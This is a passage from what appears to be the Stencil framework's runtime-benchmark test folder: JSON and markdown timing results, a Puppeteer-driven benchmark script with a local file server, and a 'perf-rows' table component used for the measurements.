\"avg\": 108.32,\n          \"median\": 107.6,\n          \"stddev\": 2\n        },\n        \"create10k\": {\n          \"runs\": [\n            707.1,\n            672.8,\n            782.1,\n            582.9,\n            597.5\n          ],\n          \"min\": 582.9,\n          \"max\": 782.1,\n          \"avg\": 668.48,\n          \"median\": 672.8,\n          \"stddev\": 73.19\n        },\n        \"append\": {\n          \"runs\": [\n            145.1,\n            204.4,\n            140.1,\n            169.2,\n            179.1\n          ],\n          \"min\": 140.1,\n          \"max\": 204.4,\n          \"avg\": 167.58,\n          \"median\": 169.2,\n          \"stddev\": 23.46\n        },\n        \"clear\": {\n          \"runs\": [\n            105.9,\n            107.9,\n            108.6,\n            109.5,\n            106.6\n          ],\n          \"min\": 105.9,\n          \"max\": 109.5,\n          \"avg\": 107.7,\n          \"median\": 107.9,\n          \"stddev\": 1.31\n        }\n      }\n    },\n    {\n      \"timestamp\": \"2026-02-06T22:53:10.431Z\",\n      \"nodeVersion\": \"v22.14.0\",\n      \"platform\": \"darwin\",\n      \"arch\": \"x64\",\n      \"benchmarks\": {\n        \"create1k\": {\n          \"runs\": [\n            108.9,\n            73.8,\n            106.8,\n            109.8,\n            73.1\n          ],\n          \"min\": 73.1,\n          \"max\": 109.8,\n          \"avg\": 94.48,\n          \"median\": 106.8,\n          \"stddev\": 17.2\n        },\n        \"replace1k\": {\n          \"runs\": [\n            74.9,\n            78.6,\n            73.9,\n            74.5,\n            78\n          ],\n          \"min\": 73.9,\n          \"max\": 78.6,\n          \"avg\": 75.98,\n          \"median\": 74.9,\n          \"stddev\": 1.93\n        },\n        \"update\": {\n          \"runs\": [\n            112.8,\n            108.8,\n            110.1,\n            110.7,\n            110.3\n          ],\n          \"min\": 108.8,\n          \"max\": 112.8,\n          \"avg\": 110.54,\n          \"median\": 110.3,\n          \"stddev\": 1.3\n        },\n        \"swap\": {\n          \"runs\": [\n            109.2,\n            106.8,\n            108,\n            109.2,\n            108.6\n          ],\n          \"min\": 106.8,\n          \"max\": 109.2,\n          \"avg\": 108.36,\n          \"median\": 108.6,\n          \"stddev\": 0.9\n        },\n        \"select\": {\n          \"runs\": [\n            108.7,\n            107.8,\n            108.8,\n            109,\n            109.9\n          ],\n          \"min\": 107.8,\n          \"max\": 109.9,\n          \"avg\": 108.84,\n          \"median\": 108.8,\n          \"stddev\": 0.67\n        },\n        \"remove\": {\n          \"runs\": [\n            107.6,\n            110,\n            111.3,\n            110.3,\n            106.8\n          ],\n          \"min\": 106.8,\n          \"max\": 111.3,\n          \"avg\": 109.2,\n          \"median\": 110,\n          \"stddev\": 1.71\n        },\n        \"create10k\": {\n          \"runs\": [\n            708.5,\n            707.7,\n            766.8,\n            557.2,\n            580.2\n          ],\n          \"min\": 557.2,\n          \"max\": 766.8,\n          \"avg\": 664.08,\n          \"median\": 707.7,\n          \"stddev\": 81.1\n        },\n        \"append\": {\n          \"runs\": [\n            151.4,\n            142.2,\n            136.9,\n            137.1,\n            160.2\n          ],\n          \"min\": 136.9,\n          \"max\": 160.2,\n          \"avg\": 145.56,\n          \"median\": 142.2,\n          \"stddev\": 9.01\n        },\n        \"clear\": {\n          \"runs\": [\n            105.8,\n            108.1,\n            111.5,\n            113.5,\n            110.5\n          ],\n          \"min\": 105.8,\n          \"max\": 113.5,\n          \"avg\": 109.88,\n          \"median\": 110.5,\n          \"stddev\": 2.68\n        }\n      }\n    },\n    {\n      \"timestamp\": \"2026-02-06T22:55:07.325Z\",\n      \"nodeVersion\": \"v22.14.0\",\n      \"platform\": \"darwin\",\n      \"arch\": \"x64\",\n      \"benchmarks\": {\n        \"create1k\": {\n          \"runs\": [\n            120.2,\n            73.8,\n            106.8,\n            78.5,\n            74.3\n          ],\n          \"min\": 73.8,\n          \"max\": 120.2,\n          \"avg\": 90.72,\n          \"median\": 78.5,\n          \"stddev\": 19.15\n        },\n        \"replace1k\": {\n          \"runs\": [\n            76,\n            74.6,\n            72.4,\n            74.2,\n            77.1\n          ],\n          \"min\": 72.4,\n          \"max\": 77.1,\n          \"avg\": 74.86,\n          \"median\": 74.6,\n          \"stddev\": 1.6\n        },\n        \"update\": {\n          \"runs\": [\n            111.4,\n            108.9,\n            108.3,\n            111,\n            111.2\n          ],\n          \"min\": 108.3,\n          \"max\": 111.4,\n          \"avg\": 110.16,\n          \"median\": 111,\n          \"stddev\": 1.29\n        },\n        \"swap\": {\n          \"runs\": [\n            111.9,\n            109.1,\n            141,\n            107.7,\n            109.3\n          ],\n          \"min\": 107.7,\n          \"max\": 141,\n          \"avg\": 115.8,\n          \"median\": 109.3,\n          \"stddev\": 12.67\n        },\n        \"select\": {\n          \"runs\": [\n            108.2,\n            108,\n            108.5,\n            107.7,\n            108.8\n          ],\n          \"min\": 107.7,\n          \"max\": 108.8,\n          \"avg\": 108.24,\n          \"median\": 108.2,\n          \"stddev\": 0.38\n        },\n        \"remove\": {\n          \"runs\": [\n            107,\n            105.5,\n            109.3,\n            107.6,\n            110.7\n          ],\n          \"min\": 105.5,\n          \"max\": 110.7,\n          \"avg\": 108.02,\n          \"median\": 107.6,\n          \"stddev\": 1.81\n        },\n        \"create10k\": {\n          \"runs\": [\n            741.2,\n            687.8,\n            573.8,\n            649.4,\n            581.8\n          ],\n          \"min\": 573.8,\n          \"max\": 741.2,\n          \"avg\": 646.8,\n          \"median\": 649.4,\n          \"stddev\": 63.49\n        },\n        \"append\": {\n          \"runs\": [\n            158.4,\n            204,\n            135.4,\n            178.8,\n            153.3\n          ],\n          \"min\": 135.4,\n          \"max\": 204,\n          \"avg\": 165.98,\n          \"median\": 158.4,\n          \"stddev\": 23.51\n        },\n        \"clear\": {\n          \"runs\": [\n            104.1,\n            111.5,\n            106.8,\n            109,\n            112.4\n          ],\n          \"min\": 104.1,\n          \"max\": 112.4,\n          \"avg\": 108.76,\n          \"median\": 109,\n          \"stddev\": 3.05\n        }\n      }\n    },\n    {\n      \"timestamp\": \"2026-02-07T12:58:10.026Z\",\n      \"stencilVersion\": \"4.42.1\",\n      \"nodeVersion\": \"v22.14.0\",\n      \"platform\": \"darwin\",\n      \"arch\": \"x64\",\n      \"benchmarks\": {\n        \"create1k\": {\n          \"runs\": [\n            112.1,\n            76.1,\n            94.6,\n            95.4,\n            72.5\n          ],\n          \"min\": 72.5,\n          \"max\": 112.1,\n          \"avg\": 90.14,\n          \"median\": 94.6,\n          \"stddev\": 14.41\n        },\n        \"replace1k\": {\n          \"runs\": [\n            73.8,\n            78.6,\n            75.9,\n            75.7,\n            74.5\n          ],\n          \"min\": 73.8,\n          \"max\": 78.6,\n          \"avg\": 75.7,\n          \"median\": 75.7,\n          \"stddev\": 1.64\n        },\n        \"update\": {\n          \"runs\": [\n            107.7,\n            95.7,\n            90.8,\n            110.7,\n            108.6\n          ],\n          \"min\": 90.8,\n          \"max\": 110.7,\n          \"avg\": 102.7,\n          \"median\": 107.7,\n          \"stddev\": 7.93\n        },\n        \"swap\": {\n          \"runs\": [\n            93.4,\n            89.5,\n            92.8,\n            90,\n            91.2\n          ],\n          \"min\": 89.5,\n          \"max\": 93.4,\n          \"avg\": 91.38,\n          \"median\": 91.2,\n          \"stddev\": 1.52\n        },\n        \"select\": {\n          \"runs\": [\n            76.3,\n            76.3,\n            91,\n            93.4,\n            90.5\n          ],\n          \"min\": 76.3,\n          \"max\": 93.4,\n          \"avg\": 85.5,\n          \"median\": 90.5,\n          \"stddev\": 7.58\n        },\n        \"remove\": {\n          \"runs\": [\n            92.4,\n            90.6,\n            75.8,\n            95.3,\n            75.8\n          ],\n          \"min\": 75.8,\n          \"max\": 95.3,\n          \"avg\": 85.98,\n          \"median\": 90.6,\n          \"stddev\": 8.45\n        },\n        \"create10k\": {\n          \"runs\": [\n            676.3,\n            687.6,\n            729.6,\n            586.3,\n            543.3\n          ],\n          \"min\": 543.3,\n          \"max\": 729.6,\n          \"avg\": 644.62,\n          \"median\": 676.3,\n          \"stddev\": 68.9\n        },\n        \"append\": {\n          \"runs\": [\n            128.8,\n            151.4,\n            135.3,\n            155.4,\n            155.4\n          ],\n          \"min\": 128.8,\n          \"max\": 155.4,\n          \"avg\": 145.26,\n          \"median\": 151.4,\n          \"stddev\": 11.08\n        },\n        \"clear\": {\n          \"runs\": [\n            85.8,\n            92.8,\n            89,\n            92.4,\n            93\n          ],\n          \"min\": 85.8,\n          \"max\": 93,\n          \"avg\": 90.6,\n          \"median\": 92.4,\n          \"stddev\": 2.81\n        }\n      }\n    },\n    {\n      \"timestamp\": \"2026-02-07T12:58:31.209Z\",\n      \"stencilVersion\": \"4.42.1\",\n      \"nodeVersion\": \"v22.14.0\",\n      \"platform\": \"darwin\",\n      \"arch\": \"x64\",\n      \"benchmarks\": {\n        \"create1k\": {\n          \"runs\": [\n            100.6,\n            93.2,\n            74.9,\n            80.7,\n            59.1\n          ],\n          \"min\": 59.1,\n          \"max\": 100.6,\n          \"avg\": 81.7,\n          \"median\": 80.7,\n          \"stddev\": 14.47\n        },\n        \"replace1k\": {\n          \"runs\": [\n            75.3,\n            76.3,\n            74.5,\n            73.2,\n            63\n          ],\n          \"min\": 63,\n          \"max\": 76.3,\n          \"avg\": 72.46,\n          \"median\": 74.5,\n          \"stddev\": 4.84\n        },\n        \"update\": {\n          \"runs\": [\n            89.9,\n            123.8,\n            110.4,\n            104.2,\n            104.6\n          ],\n          \"min\": 89.9,\n          \"max\": 123.8,\n          \"avg\": 106.58,\n          \"median\": 104.6,\n          \"stddev\": 10.94\n        },\n        \"swap\": {\n          \"runs\": [\n            74.4,\n            75.1,\n            76.1,\n            91,\n            90.6\n          ],\n          \"min\": 74.4,\n          \"max\": 91,\n          \"avg\": 81.44,\n          \"median\": 76.1,\n          \"stddev\": 7.66\n        },\n        \"select\": {\n          \"runs\": [\n            93.2,\n            93.3,\n            90.7,\n            93.4,\n            77.5\n          ],\n          \"min\": 77.5,\n          \"max\": 93.4,\n          \"avg\": 89.62,\n          \"median\": 93.2,\n          \"stddev\": 6.14\n        },\n        \"remove\": {\n          \"runs\": [\n            91.8,\n            91.1,\n            77.1,\n            92.9,\n            92.2\n          ],\n          \"min\": 77.1,\n          \"max\": 92.9,\n          \"avg\": 89.02,\n          \"median\": 91.8,\n          \"stddev\": 5.99\n        },\n        \"create10k\": {\n          \"runs\": [\n            675.8,\n            722.5,\n            726,\n            581.4,\n            557.3\n          ],\n          \"min\": 557.3,\n          \"max\": 726,\n          \"avg\": 652.6,\n          \"median\": 675.8,\n          \"stddev\": 70.66\n        },\n        \"append\": {\n          \"runs\": [\n            136.9,\n            170,\n            136.8,\n            153.6,\n            152.8\n          ],\n          \"min\": 136.8,\n          \"max\": 170,\n          \"avg\": 150.02,\n          \"median\": 152.8,\n          \"stddev\": 12.38\n        },\n        \"clear\": {\n          \"runs\": [\n            87.9,\n            94.8,\n            92.4,\n            95.2,\n            94.1\n          ],\n          \"min\": 87.9,\n          \"max\": 95.2,\n          \"avg\": 92.88,\n          \"median\": 94.1,\n          \"stddev\": 2.67\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "test/runtime-benchmark/benchmark-results.md",
    "content": "# Stencil Runtime Performance Benchmark\n\n**Last Run:** 2026-02-07T12:58:31.209Z\n**Stencil:** 4.42.1 | **Node:** v22.14.0 | **Platform:** darwin (x64)\n\n## Latest Results\n\n| Operation              |        Avg |        Min |        Max |    StdDev |\n|------------------------|------------|------------|------------|-----------|\n| Create 1,000 rows      | **81.70ms** |    59.10ms |   100.60ms |   14.47ms |\n| Replace 1,000 rows     | **72.46ms** |    63.00ms |    76.30ms |    4.84ms |\n| Update every 10th row  | **106.58ms** |    89.90ms |   123.80ms |   10.94ms |\n| Swap rows              | **81.44ms** |    74.40ms |    91.00ms |    7.66ms |\n| Select row             | **89.62ms** |    77.50ms |    93.40ms |    6.14ms |\n| Remove row             | **89.02ms** |    77.10ms |    92.90ms |    5.99ms |\n| Create 10,000 rows     | **652.60ms** |   557.30ms |   726.00ms |   70.66ms |\n| Append 1,000 rows      | **150.02ms** |   136.80ms |   170.00ms |   12.38ms |\n| Clear rows             | **92.88ms** |    87.90ms |    95.20ms |    2.67ms |\n\n## History\n\n| Date       | Stencil  | Create 1k |  Replace 1k |    Update | Create 10k | Node     |\n|------------|----------|-----------|-------------|-----------|------------|----------|\n| 2/7/2026   | 4.42.1   |    81.7ms |      72.5ms |   106.6ms |    652.6ms | v22.14.0 |\n| 2/7/2026   | 4.42.1   |    90.1ms |      75.7ms |   102.7ms |    644.6ms | v22.14.0 |\n| 2/6/2026   | -        |    90.7ms |      74.9ms |   110.2ms |    646.8ms | v22.14.0 |\n| 2/6/2026   | -        |    94.5ms |      76.0ms |   110.5ms |    664.1ms | v22.14.0 |\n| 2/6/2026   | -        |    82.5ms |      74.6ms |   109.8ms |    668.5ms | v22.14.0 |\n| 2/6/2026   | -        |    88.5ms |      74.9ms |   110.1ms |    675.5ms | v22.14.0 |\n"
  },
  {
    "path": "test/runtime-benchmark/benchmark-runtime.js",
    "content": "const fs = require('fs');\nconst path = require('path');\nconst http = require('http');\nconst { spawnSync } = require('child_process');\n\nconst RUNS_PER_BENCHMARK = 5;\nconst STENCIL_BIN = path.join(__dirname, '..', '..', 'bin', 'stencil');\nconst STENCIL_PKG = path.join(__dirname, '..', '..', 'package.json');\nconst WWW_DIR = path.join(__dirname, 'www');\nconst RESULTS_FILE = path.join(__dirname, 'benchmark-results.json');\nconst SUMMARY_FILE = path.join(__dirname, 'benchmark-results.md');\n\nfunction getStencilVersion() {\n  const pkg = JSON.parse(fs.readFileSync(STENCIL_PKG, 'utf-8'));\n  return pkg.version;\n}\n\nlet puppeteer;\n\nasync function loadPuppeteer() {\n  // Try to load puppeteer from the root project\n  try {\n    puppeteer = require('puppeteer');\n  } catch (e) {\n    console.error('Puppeteer not found. Run npm install from the root directory.');\n    process.exit(1);\n  }\n}\n\nfunction buildProject() {\n  console.log('Building project...');\n  const result = spawnSync('node', [STENCIL_BIN, 'build'], {\n    cwd: __dirname,\n    stdio: 'inherit',\n  });\n  if (result.status !== 0) {\n    console.error('Build failed');\n    process.exit(1);\n  }\n}\n\nfunction startServer() {\n  return new Promise((resolve) => {\n    const server = http.createServer((req, res) => {\n      let filePath = path.join(WWW_DIR, req.url === '/' ? 'index.html' : req.url);\n      const ext = path.extname(filePath);\n      const contentTypes = {\n        '.html': 'text/html',\n        '.js': 'application/javascript',\n        '.css': 'text/css',\n      };\n\n      fs.readFile(filePath, (err, content) => {\n        if (err) {\n          res.writeHead(404);\n          res.end('Not found');\n        } else {\n          res.writeHead(200, { 'Content-Type': contentTypes[ext] || 'text/plain' });\n          res.end(content);\n        }\n      });\n    });\n\n    server.listen(0, '127.0.0.1', () => {\n      const port = server.address().port;\n      console.log(`Server running on port ${port}`);\n      resolve({ server, port });\n    });\n  });\n}\n\nconst BENCHMARK_LABELS = {\n  create1k: 'Create 1,000 rows',\n  replace1k: 'Replace 1,000 rows',\n  update: 'Update every 10th row',\n  swap: 'Swap rows',\n  select: 'Select row',\n  remove: 'Remove row',\n  create10k: 'Create 10,000 rows',\n  append: 'Append 1,000 rows',\n  clear: 'Clear rows',\n};\n\nfunction generateMarkdown(results, history) {\n  const { benchmarks } = results;\n\n  let md = `# Stencil Runtime Performance Benchmark\n\n**Last Run:** ${results.timestamp}\n**Stencil:** ${results.stencilVersion} | **Node:** ${results.nodeVersion} | **Platform:** ${results.platform} (${results.arch})\n\n## Latest Results\n\n| Operation              |        Avg |        Min |        Max |    StdDev |\n|------------------------|------------|------------|------------|-----------|\n`;\n\n  for (const [name, stats] of Object.entries(benchmarks)) {\n    const label = (BENCHMARK_LABELS[name] || name).padEnd(22);\n    const avg = `**${stats.avg.toFixed(2)}ms**`.padStart(10);\n    const min = `${stats.min.toFixed(2)}ms`.padStart(10);\n    const max = `${stats.max.toFixed(2)}ms`.padStart(10);\n    const stddev = `${stats.stddev.toFixed(2)}ms`.padStart(9);\n    md += `| ${label} | ${avg} | ${min} | ${max} | ${stddev} |\\n`;\n  }\n\n  md += `\n## History\n\n| Date       | Stencil  | Create 1k |  Replace 1k |    Update | Create 10k | Node     |\n|------------|----------|-----------|-------------|-----------|------------|----------|\n`;\n\n  // Add history rows (most recent first, limit to 10)\n  const recentHistory = [...history].reverse().slice(0, 10);\n  for (const entry of recentHistory) {\n    const date = new Date(entry.timestamp).toLocaleDateString().padEnd(10);\n    const stencil = (entry.stencilVersion || '-').padEnd(8);\n    const b = entry.benchmarks;\n    const c1k = `${b.create1k?.avg.toFixed(1) || '-'}ms`.padStart(9);\n    const r1k = `${b.replace1k?.avg.toFixed(1) || '-'}ms`.padStart(11);\n    const upd = `${b.update?.avg.toFixed(1) || '-'}ms`.padStart(9);\n    const c10k = `${b.create10k?.avg.toFixed(1) || '-'}ms`.padStart(10);\n    const node = entry.nodeVersion.padEnd(8);\n    md += `| ${date} | ${stencil} | ${c1k} | ${r1k} | ${upd} | ${c10k} | ${node} |\\n`;\n  }\n\n  return md;\n}\n\nasync function runBenchmark(page, fn) {\n  const times = [];\n\n  for (let i = 0; i < RUNS_PER_BENCHMARK; i++) {\n    // Reset state before each run\n    await page.evaluate(() => document.querySelector('#perf').clear());\n    await page\n      .waitForSelector('#perf table tbody:empty, #perf table tbody:not(:has(tr))', { timeout: 5000 })\n      .catch(() => {});\n\n    // Small delay to ensure clean state\n    await new Promise((r) => setTimeout(r, 50));\n\n    const start = await page.evaluate(() => performance.now());\n    await fn(page);\n\n    // Wait for render to complete\n    await page.evaluate(() => new Promise((r) => requestAnimationFrame(() => requestAnimationFrame(r))));\n\n    const end = await page.evaluate(() => performance.now());\n    times.push(end - start);\n  }\n\n  return times;\n}\n\nfunction calculateStats(times) {\n  const sorted = [...times].sort((a, b) => a - b);\n  const sum = times.reduce((a, b) => a + b, 0);\n  const avg = sum / times.length;\n  const variance = times.reduce((acc, t) => acc + Math.pow(t - avg, 2), 0) / times.length;\n  const stddev = Math.sqrt(variance);\n\n  return {\n    runs: times.map((t) => Math.round(t * 100) / 100),\n    min: Math.round(sorted[0] * 100) / 100,\n    max: Math.round(sorted[sorted.length - 1] * 100) / 100,\n    avg: Math.round(avg * 100) / 100,\n    median: Math.round(sorted[Math.floor(sorted.length / 2)] * 100) / 100,\n    stddev: Math.round(stddev * 100) / 100,\n  };\n}\n\nfunction formatMs(ms) {\n  return `${ms.toFixed(2)}ms`;\n}\n\nfunction printStats(label, stats) {\n  console.log(`\\n${label}:`);\n  console.log(`  Runs:   ${stats.runs.map(formatMs).join(', ')}`);\n  console.log(`  Min:    ${formatMs(stats.min)}`);\n  console.log(`  Max:    ${formatMs(stats.max)}`);\n  console.log(`  Avg:    ${formatMs(stats.avg)}`);\n  console.log(`  Median: ${formatMs(stats.median)}`);\n  console.log(`  StdDev: ${formatMs(stats.stddev)}`);\n}\n\nasync function main() {\n  await loadPuppeteer();\n\n  console.log('Stencil Runtime Performance Benchmark');\n  console.log('=====================================');\n  console.log(`Runs per benchmark: ${RUNS_PER_BENCHMARK}\\n`);\n\n  // Build the project\n  buildProject();\n\n  // Start server\n  const { server, port } = await startServer();\n\n  // Launch browser\n  const browser = await puppeteer.launch({ headless: true });\n  const page = await browser.newPage();\n\n  try {\n    await page.goto(`http://127.0.0.1:${port}/`, { waitUntil: 'networkidle0' });\n\n    // Wait for component to be ready\n    await page.waitForSelector('#perf');\n    await page.evaluate(() => customElements.whenDefined('perf-rows'));\n\n    const benchmarks = {};\n\n    // Create 1,000 rows\n    console.log('\\nRunning: Create 1,000 rows...');\n    benchmarks.create1k = calculateStats(\n      await runBenchmark(page, async (p) => {\n        await p.evaluate(() => document.querySelector('#perf').run());\n      }),\n    );\n    printStats('Create 1,000 rows', benchmarks.create1k);\n\n    // Replace 1,000 rows\n    console.log('\\nRunning: Replace 1,000 rows...');\n    // First create rows, then measure replacement\n    await page.evaluate(() => document.querySelector('#perf').run());\n    benchmarks.replace1k = calculateStats(\n      await runBenchmark(page, async (p) => {\n        await p.evaluate(() => document.querySelector('#perf').run());\n      }),\n    );\n    printStats('Replace 1,000 rows', benchmarks.replace1k);\n\n    // Update every 10th row\n    console.log('\\nRunning: Update every 10th row...');\n    benchmarks.update = calculateStats(\n      await runBenchmark(page, async (p) => {\n        await p.evaluate(() => document.querySelector('#perf').run());\n        await p.evaluate(() => new Promise((r) => requestAnimationFrame(r)));\n        await p.evaluate(() => document.querySelector('#perf').update());\n      }),\n    );\n    printStats('Update every 10th row', benchmarks.update);\n\n    // Swap rows\n    console.log('\\nRunning: Swap rows...');\n    benchmarks.swap = calculateStats(\n      await runBenchmark(page, async (p) => {\n        await p.evaluate(() => document.querySelector('#perf').run());\n        await p.evaluate(() => new Promise((r) => requestAnimationFrame(r)));\n        await p.evaluate(() => document.querySelector('#perf').swapRows());\n      }),\n    );\n    printStats('Swap rows', benchmarks.swap);\n\n    // Select row\n    console.log('\\nRunning: Select row...');\n    benchmarks.select = calculateStats(\n      await runBenchmark(page, async (p) => {\n        await p.evaluate(() => document.querySelector('#perf').run());\n        await p.evaluate(() => new Promise((r) => requestAnimationFrame(r)));\n        await p.evaluate(() => document.querySelector('#perf').selectRow(5));\n      }),\n    );\n    printStats('Select row', benchmarks.select);\n\n    // Remove row\n    console.log('\\nRunning: Remove row...');\n    benchmarks.remove = calculateStats(\n      await runBenchmark(page, async (p) => {\n        await p.evaluate(() => document.querySelector('#perf').run());\n        await p.evaluate(() => new Promise((r) => requestAnimationFrame(r)));\n        await p.evaluate(() => document.querySelector('#perf').removeRow(5));\n      }),\n    );\n    printStats('Remove row', benchmarks.remove);\n\n    // Create 10,000 rows\n    console.log('\\nRunning: Create 10,000 rows...');\n    benchmarks.create10k = calculateStats(\n      await runBenchmark(page, async (p) => {\n        await p.evaluate(() => document.querySelector('#perf').runLots());\n      }),\n    );\n    printStats('Create 10,000 rows', benchmarks.create10k);\n\n    // Append 1,000 rows\n    console.log('\\nRunning: Append 1,000 rows to 1,000...');\n    benchmarks.append = calculateStats(\n      await runBenchmark(page, async (p) => {\n        await p.evaluate(() => document.querySelector('#perf').run());\n        await p.evaluate(() => new Promise((r) => requestAnimationFrame(r)));\n        await p.evaluate(() => document.querySelector('#perf').add());\n      }),\n    );\n    printStats('Append 1,000 rows', benchmarks.append);\n\n    // Clear rows\n    console.log('\\nRunning: Clear 1,000 rows...');\n    benchmarks.clear = calculateStats(\n      await runBenchmark(page, async (p) => {\n        await p.evaluate(() => document.querySelector('#perf').run());\n        await p.evaluate(() => new Promise((r) => requestAnimationFrame(r)));\n        await p.evaluate(() => document.querySelector('#perf').clear());\n      }),\n    );\n    printStats('Clear rows', benchmarks.clear);\n\n    // Save results\n    const results = {\n      timestamp: new Date().toISOString(),\n      stencilVersion: getStencilVersion(),\n      nodeVersion: process.version,\n      platform: process.platform,\n      arch: process.arch,\n      benchmarks,\n    };\n\n    // Load existing results if present\n    let history = [];\n    if (fs.existsSync(RESULTS_FILE)) {\n      try {\n        const existing = JSON.parse(fs.readFileSync(RESULTS_FILE, 'utf-8'));\n        history = existing.history || [];\n      } catch (e) {\n        // Ignore parse errors, start fresh\n      }\n    }\n\n    history.push(results);\n\n    fs.writeFileSync(RESULTS_FILE, JSON.stringify({ latest: results, history }, null, 2));\n    fs.writeFileSync(SUMMARY_FILE, generateMarkdown(results, history));\n\n    console.log(`\\n\\nResults saved to:`);\n    console.log(`  ${RESULTS_FILE}`);\n    console.log(`  ${SUMMARY_FILE}`);\n\n    // Print summary table\n    console.log('\\n=== Summary (avg ms) ===');\n    console.log('Operation            | Time');\n    console.log('---------------------|--------');\n    for (const [name, stats] of Object.entries(benchmarks)) {\n      console.log(`${name.padEnd(20)} | ${formatMs(stats.avg)}`);\n    }\n  } finally {\n    await browser.close();\n    server.close();\n  }\n}\n\nmain().catch((err) => {\n  console.error(err);\n  process.exit(1);\n});\n"
  },
  {
    "path": "test/runtime-benchmark/package.json",
    "content": "{\n  \"name\": \"@stencil/runtime-benchmark\",\n  \"private\": true,\n  \"scripts\": {\n    \"benchmark\": \"node benchmark-runtime.js\"\n  },\n  \"devDependencies\": {\n    \"@stencil/core\": \"file:../../\"\n  }\n}\n"
  },
  {
    "path": "test/runtime-benchmark/src/components/perf-rows/perf-rows.tsx",
    "content": "import { Component, State, h, Method } from '@stencil/core';\n\ninterface Row {\n  id: number;\n  label: string;\n}\n\nconst adjectives = [\n  'pretty',\n  'large',\n  'big',\n  'small',\n  'tall',\n  'short',\n  'long',\n  'handsome',\n  'plain',\n  'quaint',\n  'clean',\n  'elegant',\n  'easy',\n  'angry',\n  'crazy',\n  'helpful',\n  'mushy',\n  'odd',\n  'unsightly',\n  'adorable',\n  'important',\n  'inexpensive',\n  'cheap',\n  'expensive',\n  'fancy',\n];\nconst colours = ['red', 'yellow', 'blue', 'green', 'pink', 'brown', 'purple', 'brown', 'white', 'black', 'orange'];\nconst nouns = [\n  'table',\n  'chair',\n  'house',\n  'bbq',\n  'desk',\n  'car',\n  'pony',\n  'cookie',\n  'sandwich',\n  'burger',\n  'pizza',\n  'mouse',\n  'keyboard',\n];\n\nlet nextId = 1;\n\nfunction random(max: number): number {\n  return Math.round(Math.random() * 1000) % max;\n}\n\nfunction buildData(count: number): Row[] {\n  const data: Row[] = [];\n  for (let i = 0; i < count; i++) {\n    data.push({\n      id: nextId++,\n      label: `${adjectives[random(adjectives.length)]} ${colours[random(colours.length)]} ${nouns[random(nouns.length)]}`,\n    });\n  }\n  return data;\n}\n\n@Component({\n  tag: 'perf-rows',\n  styles: `\n    .table {\n      width: 100%;\n      border-collapse: collapse;\n    }\n    .table td {\n      padding: 4px;\n      border: 1px solid #ddd;\n    }\n    .table tr.selected {\n      background: #007bff;\n      color: white;\n    }\n    .remove {\n      cursor: pointer;\n      color: red;\n    }\n  `,\n  shadow: false,\n})\nexport class PerfRows {\n  @State() rows: Row[] = [];\n  @State() selectedId: number = 0;\n\n  @Method()\n  async run(): Promise<void> {\n    this.rows = buildData(1000);\n  }\n\n  @Method()\n  async runLots(): Promise<void> {\n    this.rows = buildData(10000);\n  }\n\n  @Method()\n  async add(): Promise<void> {\n    this.rows = [...this.rows, ...buildData(1000)];\n  }\n\n  @Method()\n  async update(): Promise<void> {\n    const newRows = [...this.rows];\n    for (let i = 0; i < newRows.length; i += 10) {\n      newRows[i] = { ...newRows[i], label: newRows[i].label + ' !!!' };\n    }\n    this.rows = newRows;\n  }\n\n  @Method()\n  async clear(): Promise<void> {\n    this.rows = [];\n  }\n\n  @Method()\n  async swapRows(): Promise<void> {\n    if (this.rows.length > 998) {\n      const newRows = [...this.rows];\n      const temp = newRows[1];\n      newRows[1] = newRows[998];\n      newRows[998] = temp;\n      this.rows = newRows;\n    }\n  }\n\n  @Method()\n  async selectRow(id: number): Promise<void> {\n    this.selectedId = id;\n  }\n\n  @Method()\n  async removeRow(id: number): Promise<void> {\n    this.rows = this.rows.filter((r) => r.id !== id);\n  }\n\n  @Method()\n  async getRowCount(): Promise<number> {\n    return this.rows.length;\n  }\n\n  render() {\n    return (\n      <div>\n        <table class=\"table\">\n          <tbody>\n            {this.rows.map((row) => (\n              <tr key={row.id} class={row.id === this.selectedId ? 'selected' : ''}>\n                <td class=\"id\">{row.id}</td>\n                <td class=\"label\">{row.label}</td>\n                <td>\n                  <span class=\"remove\" onClick={() => this.removeRow(row.id)}>\n                    x\n                  </span>\n                </td>\n              </tr>\n            ))}\n          </tbody>\n        </table>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/runtime-benchmark/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface PerfRows {\n        \"add\": () => Promise<void>;\n        \"clear\": () => Promise<void>;\n        \"getRowCount\": () => Promise<number>;\n        \"removeRow\": (id: number) => Promise<void>;\n        \"run\": () => Promise<void>;\n        \"runLots\": () => Promise<void>;\n        \"selectRow\": (id: number) => Promise<void>;\n        \"swapRows\": () => Promise<void>;\n        \"update\": () => Promise<void>;\n    }\n}\ndeclare global {\n    interface HTMLPerfRowsElement extends Components.PerfRows, HTMLStencilElement {\n    }\n    var HTMLPerfRowsElement: {\n        prototype: HTMLPerfRowsElement;\n        new (): HTMLPerfRowsElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"perf-rows\": HTMLPerfRowsElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface PerfRows {\n    }\n    interface IntrinsicElements {\n        \"perf-rows\": PerfRows;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"perf-rows\": LocalJSX.IntrinsicElements[\"perf-rows\"] & JSXBase.HTMLAttributes<HTMLPerfRowsElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/runtime-benchmark/src/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <meta charset=\"UTF-8\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n  <title>Stencil Runtime Benchmark</title>\n  <script type=\"module\" src=\"/build/perfbenchmark.esm.js\"></script>\n  <script nomodule src=\"/build/perfbenchmark.js\"></script>\n</head>\n<body>\n  <h1>Stencil Runtime Benchmark</h1>\n  <perf-rows id=\"perf\"></perf-rows>\n</body>\n</html>\n"
  },
  {
    "path": "test/runtime-benchmark/stencil.config.ts",
